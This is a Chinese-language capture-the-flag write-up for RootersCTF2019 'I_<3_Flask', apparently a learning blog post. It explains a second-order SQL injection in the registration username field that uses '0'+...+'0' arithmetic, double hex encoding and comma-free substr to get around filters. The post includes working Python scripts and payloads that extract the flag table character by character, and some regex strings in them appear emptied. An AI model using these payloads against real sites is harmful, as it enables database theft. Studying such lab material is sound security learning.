[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的

目录:

    • 一、自己看WP后写脚本
    • 二、学到的&&不足
    • 三、学习WP
      • 为什么要用 0 带上,
        • ascii方法出flag

一、自己看WP后写脚本

关于request和re的使用,可以看这个:sql注入的python脚本学习request + re。

我连注册登陆的脚本都写不好,,,写了半天,最后的那个submit不用管,直接就登陆了,然后每次要换一次 邮箱 和 账号

import requests
import re


register_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/register.php"
login_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/login.php"

for s in ["sfd","qwer","bt"]:
    
    #这个注入点是名字这里,用单引号的化,进入不了index.php也就是被过滤了,那就尝试其他的东西
    name ="sdf{}".format(s)# 注意换名字的生活,email也要换一下,因为名字是对应Email来找的!!!要记住,我这里也迷了好一会,
    ema="asdf{}".format(s)

    data={
     "email":ema,"username":name,"password":"aa"}

    data_login={
     "email":ema,"password":"aa"}
	#这里设置上timeout,防止连接失败,不写也行,我刚刚是网断了,,我靠,
    res=requests.post(url=register_url,data=data,timeout=3)

    res_login = requests.post(url=login_url,data=data_login,timeout=3)

    text = res_login.text
    
    # 找到所有的这个东西,输出出来。username就在这个里面,
    content = re.findall('',text,re.S)
    for i in content:
        print(i)

    # 这里输出一下url。便于看是否进入了index.php
    print(res.url)
    print(res_login.url)

这里尝试出 '单引号不行,被过滤了,那就尝试 ;分号,堆叠注入,
测试出来了,分号没有被过滤
然后就看WP了吧,

学完了,我连后台的查询语句是什么也没弄清除,,,
吐了,,

二、学到的&&不足

  1. 学习python的re库,便于抓取username所在的地方
  2. +换成 ^也行,记得如果做题的时候这两个不好使,就换成unquote编码,也就是url编码的样式,%2B和什么
  3. 这个用'0'+''+'0'的方法,没学过啊,,

三、学习WP

说是,会看到用户名有回显,所以想到会不会是 sql注入,然后就出入用户名,

WP有尝试报错注入的。嗯嗯,不错的思路,但是 ,逗号被过滤了,不能用报错注入了,,,

WP用的是一种新的sql注入的方法,,,这里学习一下新方法:
[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第1张图片

如果用了hex;
[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第2张图片

这样’test’字符串的十六进制就会成功显示出来
[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第3张图片

但是有个问题,flag的16进制中存在字母,如果让他和’0’相加的化,:
[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第4张图片
会存在截断的问题,所以我们应该二次hex:

[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第5张图片
让最后的结果全是数字,这样就不存在截断的问题了

但是还有问题。如果结果超过10位的话,会转成科学计数法,像这样

[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第6张图片

就会导致丢失数据。因此要用substr来截:
[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第7张图片
但是这个题的 逗号 有被过滤了,所以用 from for 来代替逗号

[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第8张图片
还有一个问题,就是我们再尝试注入的时候发现information被过滤了。因此必须猜测表名是flag。注入的语句是select * from flag。
注入的姿势如下

+换成 ^也行,记得如果做题的时候这两个不好使,就换成unquote编码,也就是url编码的样式,%2B和什么

学完了,我连后台的查询语句是什么也没弄清除,,,
吐了,,

为什么要用 0 带上,

不清楚啊,,,

ascii方法出flag

找WP的时候,看到了这个ascii方法的。出flag了~~


register_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/register.php"
login_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/login.php"

for s in range(100):

    #这个注入点是名字这里,用单引号的化,进入不了index.php也就是被过滤了,那就尝试其他的东西
    #name ="0'%2Bsubstr((hex(hex(select * from flag)) from 1 for 10) from 1 for 10)%2B'0"

    name = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(s+1)


    ema="a1{}".format(s)

    data={
     "email":ema,"username":name,"password":"aa"}

    data_login={
     "email":ema,"password":"aa"}

    res=requests.post(url=register_url,data=data,timeout=3)

    res_login = requests.post(url=login_url,data=data_login,timeout=3)

    text = res_login.text

    # 找到所有的这个东西,输出出来。username就在这个里面,
    content = re.findall('',text,re.S)
    for i in content:
        print(i)

    # 这里输出一下url。便于看是否进入了index.php
    print(res.url)
    print(res_login.url)

我的脚本太屎了,所以其他多余的东西多,,,

[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第9张图片然后就出flag了
[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的_第10张图片

 #这个注入点是名字这里,用单引号的化,进入不了index.php也就是被过滤了,那就尝试其他的东西
    name ="0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%s

    #name = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(s+1)

最后换成这个也行,也是一次出一个字符,只不过是16进制的,然后两次hex解码就得到flag了

你可能感兴趣的:(BUUCTF刷题记录,sql注入)